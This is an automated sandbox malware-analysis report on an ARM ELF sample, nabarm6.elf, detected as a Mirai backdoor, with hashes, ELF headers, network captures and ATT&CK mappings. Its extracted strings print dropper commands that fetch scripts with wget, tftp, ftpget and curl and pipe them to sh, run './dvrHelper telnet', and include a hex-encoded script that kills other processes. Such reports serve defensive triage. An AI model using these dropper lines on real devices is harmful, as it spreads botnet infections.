Edit tour

Linux Analysis Report
nabarm6.elf

Overview

General Information

Sample name:nabarm6.elf
Analysis ID:1634474
MD5:ca7dfb739bcaab0bba5338c4b57b6ad9
SHA1:ec35f9523d7bfcc8c7228899bb88766b66f2317b
SHA256:1510d70f91ac70aae0651eccbc435e19b0ba58b7a6b199775eccd9ca6aaba761
Tags:elfuser-abuse_ch
Infos:

Detection

Score:48
Range:0 - 100

Signatures

Multi AV Scanner detection for submitted file
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Joe Sandbox version:42.0.0 Malachite
Analysis ID:1634474
Start date and time:2025-03-11 00:15:59 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 23s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:nabarm6.elf
Detection:MAL
Classification:mal48.linELF@0/0@2/0
Command:/tmp/nabarm6.elf
PID:5488
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • nabarm6.elf (PID: 5488, Parent: 5412, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/nabarm6.elf
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: nabarm6.elfVirustotal: Detection: 31%Perma Link
Source: nabarm6.elfReversingLabs: Detection: 39%
Source: nabarm6.elfString: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: global trafficTCP traffic: 192.168.2.14:46540 -> 185.125.190.26:443
Source: unknownTCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknownTCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
Source: nabarm6.elfString found in binary or memory: http:///curl.sh
Source: nabarm6.elfString found in binary or memory: http:///wget.sh
Source: unknownNetwork traffic detected: HTTP traffic on port 46540 -> 443
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sampleString containing 'busybox' found: /bin/busybox
Source: Initial sampleString containing 'busybox' found: usage: busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname day2
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper telnet
Source: Initial sampleString containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\
Source: ELF static info symbol of initial sample.symtab present: no
Source: classification engineClassification label: mal48.linELF@0/0@2/0
Source: /tmp/nabarm6.elf (PID: 5488)Queries kernel information via 'uname': Jump to behavior
Source: nabarm6.elf, 5488.1.00007ffd21f0d000.00007ffd21f2e000.rw-.sdmpBinary or memory string: =x86_64/usr/bin/qemu-arm/tmp/nabarm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabarm6.elf
Source: nabarm6.elf, 5488.1.00005615ad156000.00005615ad284000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
Source: nabarm6.elf, 5488.1.00007ffd21f0d000.00007ffd21f2e000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
Source: nabarm6.elf, 5488.1.00005615ad156000.00005615ad284000.rw-.sdmpBinary or memory string: V!/etc/qemu-binfmt/arm
Source: nabarm6.elf, 5488.1.00007ffd21f0d000.00007ffd21f2e000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting
Valid AccountsWindows Management Instrumentation1
Scripting
Path InterceptionDirect Volume AccessOS Credential Dumping11
Security Software Discovery
Remote ServicesData from Local System1
Encrypted Channel
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Non-Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive2
Application Layer Protocol
Automated ExfiltrationData Encrypted for Impact
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1634474 Sample: nabarm6.elf Startdate: 11/03/2025 Architecture: LINUX Score: 48 8 185.125.190.26, 443 CANONICAL-ASGB United Kingdom 2->8 10 daisy.ubuntu.com 2->10 12 Multi AV Scanner detection for submitted file 2->12 6 nabarm6.elf 2->6         started        signatures3 process4
SourceDetectionScannerLabelLink
nabarm6.elf32%VirustotalBrowse
nabarm6.elf39%ReversingLabsLinux.Backdoor.Mirai
No Antivirus matches
No Antivirus matches
No Antivirus matches

Download Network PCAP: filteredfull

NameIPActiveMaliciousAntivirus DetectionReputation
daisy.ubuntu.com
162.213.35.25
truefalse
    high
    NameSourceMaliciousAntivirus DetectionReputation
    http:///wget.shnabarm6.elffalse
      high
      http:///curl.shnabarm6.elffalse
        high
        • No. of IPs < 25%
        • 25% < No. of IPs < 50%
        • 50% < No. of IPs < 75%
        • 75% < No. of IPs
        IPDomainCountryFlagASNASN NameMalicious
        185.125.190.26
        unknownUnited Kingdom
        41231CANONICAL-ASGBfalse
        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
        185.125.190.26debug.dbg.elfGet hashmaliciousMiraiBrowse
          na.elfGet hashmaliciousPrometeiBrowse
            zerspc.elfGet hashmaliciousUnknownBrowse
              6j272sSkTN.elfGet hashmaliciousFogBrowse
                na.elfGet hashmaliciousPrometeiBrowse
                  mips.elfGet hashmaliciousUnknownBrowse
                    arm5.elfGet hashmaliciousUnknownBrowse
                      aarch64.elfGet hashmaliciousMiraiBrowse
                        x-8.6-.opticus.elfGet hashmaliciousGafgytBrowse
                          sshd.elfGet hashmaliciousUnknownBrowse
                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            daisy.ubuntu.combin.sh.elfGet hashmaliciousMiraiBrowse
                            • 162.213.35.25
                            debug.dbg.elfGet hashmaliciousMiraiBrowse
                            • 162.213.35.24
                            boatnet.spc.elfGet hashmaliciousMiraiBrowse
                            • 162.213.35.24
                            .i.elfGet hashmaliciousUnknownBrowse
                            • 162.213.35.24
                            sshd.elfGet hashmaliciousUnknownBrowse
                            • 162.213.35.25
                            mpsl.elfGet hashmaliciousMirai, MoobotBrowse
                            • 162.213.35.24
                            arm5.elfGet hashmaliciousMiraiBrowse
                            • 162.213.35.25
                            arm6.elfGet hashmaliciousMirai, MoobotBrowse
                            • 162.213.35.24
                            mips.elfGet hashmaliciousMirai, MoobotBrowse
                            • 162.213.35.24
                            x86.elfGet hashmaliciousMirai, MoobotBrowse
                            • 162.213.35.24
                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            CANONICAL-ASGBna.elfGet hashmaliciousPrometeiBrowse
                            • 91.189.91.42
                            na.elfGet hashmaliciousPrometeiBrowse
                            • 91.189.91.42
                            install_python3.sh.elfGet hashmaliciousUnknownBrowse
                            • 91.189.91.42
                            na.elfGet hashmaliciousPrometeiBrowse
                            • 91.189.91.42
                            na.elfGet hashmaliciousPrometeiBrowse
                            • 91.189.91.42
                            sshd.elfGet hashmaliciousUnknownBrowse
                            • 91.189.91.42
                            na.elfGet hashmaliciousPrometeiBrowse
                            • 91.189.91.42
                            na.elfGet hashmaliciousPrometeiBrowse
                            • 91.189.91.42
                            na.elfGet hashmaliciousPrometeiBrowse
                            • 91.189.91.42
                            na.elfGet hashmaliciousPrometeiBrowse
                            • 91.189.91.42
                            No context
                            No context
                            No created / dropped files found
                            File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
                            Entropy (8bit):5.972505359680694
                            TrID:
                            • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                            File name:nabarm6.elf
                            File size:54'520 bytes
                            MD5:ca7dfb739bcaab0bba5338c4b57b6ad9
                            SHA1:ec35f9523d7bfcc8c7228899bb88766b66f2317b
                            SHA256:1510d70f91ac70aae0651eccbc435e19b0ba58b7a6b199775eccd9ca6aaba761
                            SHA512:db3eca4dabe4cfdc64b4c4c3cb6d461a66da779e6035d66fef3f79297677ec048293829b1681d8531800ef58af7099a684c379f42e48b2ee39916c9d58b5439f
                            SSDEEP:1536:KRnTss3kqCt4aAvqFxaYaXSa8B3WMdiDPNadExzXbBR:3s39Ct4tvq7aYWdPNadExzX
                            TLSH:5233D746F992DF11D5C5957AFE0E528D331307A8E3DF73539E10AB247B8B86B0A3A805
                            File Content Preview:.ELF..............(.....T...4...........4. ...(.....................|...|...........................x...............Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../.x.............-.@0....S

                            ELF header

                            Class:ELF32
                            Data:2's complement, little endian
                            Version:1 (current)
                            Machine:ARM
                            Version Number:0x1
                            Type:EXEC (Executable file)
                            OS/ABI:UNIX - System V
                            ABI Version:0
                            Entry Point Address:0x8154
                            Flags:0x4000002
                            ELF Header Size:52
                            Program Header Offset:52
                            Program Header Size:32
                            Number of Program Headers:3
                            Section Header Offset:54000
                            Section Header Size:40
                            Number of Section Headers:13
                            Header String Table Index:12
                            NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                            NULL0x00x00x00x00x0000
                            .initPROGBITS0x80940x940x100x00x6AX004
                            .textPROGBITS0x80b00xb00xbb9c0x00x6AX0016
                            .finiPROGBITS0x13c4c0xbc4c0x100x00x6AX004
                            .rodataPROGBITS0x13c5c0xbc5c0xf200x00x2A004
                            .init_arrayINIT_ARRAY0x1d0040xd0080x40x00x3WA004
                            .fini_arrayFINI_ARRAY0x1d0080xd00c0x40x00x3WA004
                            .jcrPROGBITS0x1d00c0xd0100x40x00x3WA004
                            .gotPROGBITS0x1d0100xd0140x740x40x3WA004
                            .dataPROGBITS0x1d0840xd0880x1f40x00x3WA004
                            .bssNOBITS0x1d2780xd27c0x35580x00x3WA004
                            .ARM.attributesARM_ATTRIBUTES0x00xd27c0x100x00x0001
                            .shstrtabSTRTAB0x00xd28c0x620x00x0001
                            TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                            LOAD0x00x80000x80000xcb7c0xcb7c6.08730x5R E0x8000.init .text .fini .rodata
                            LOAD0xd0040x1d0040x1d0000x2780xb7cc3.20780x6RW 0x8000.init_array .fini_array .jcr .got .data .bss
                            GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

                            Download Network PCAP: filteredfull

                            • Total Packets: 4
                            • 443 (HTTPS)
                            • 53 (DNS)
                            TimestampSource PortDest PortSource IPDest IP
                            Mar 11, 2025 00:16:48.778456926 CET46540443192.168.2.14185.125.190.26
                            Mar 11, 2025 00:17:19.497452974 CET46540443192.168.2.14185.125.190.26
                            TimestampSource PortDest PortSource IPDest IP
                            Mar 11, 2025 00:16:39.301882982 CET5599353192.168.2.141.1.1.1
                            Mar 11, 2025 00:16:39.301970005 CET3550953192.168.2.141.1.1.1
                            Mar 11, 2025 00:16:39.309175968 CET53355091.1.1.1192.168.2.14
                            Mar 11, 2025 00:16:39.309195042 CET53559931.1.1.1192.168.2.14
                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                            Mar 11, 2025 00:16:39.301882982 CET192.168.2.141.1.1.10x33a4Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                            Mar 11, 2025 00:16:39.301970005 CET192.168.2.141.1.1.10xb069Standard query (0)daisy.ubuntu.com28IN (0x0001)false
                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                            Mar 11, 2025 00:16:39.309195042 CET1.1.1.1192.168.2.140x33a4No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
                            Mar 11, 2025 00:16:39.309195042 CET1.1.1.1192.168.2.140x33a4No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

                            System Behavior

                            Start time (UTC):23:16:37
                            Start date (UTC):10/03/2025
                            Path:/tmp/nabarm6.elf
                            Arguments:/tmp/nabarm6.elf
                            File size:4956856 bytes
                            MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1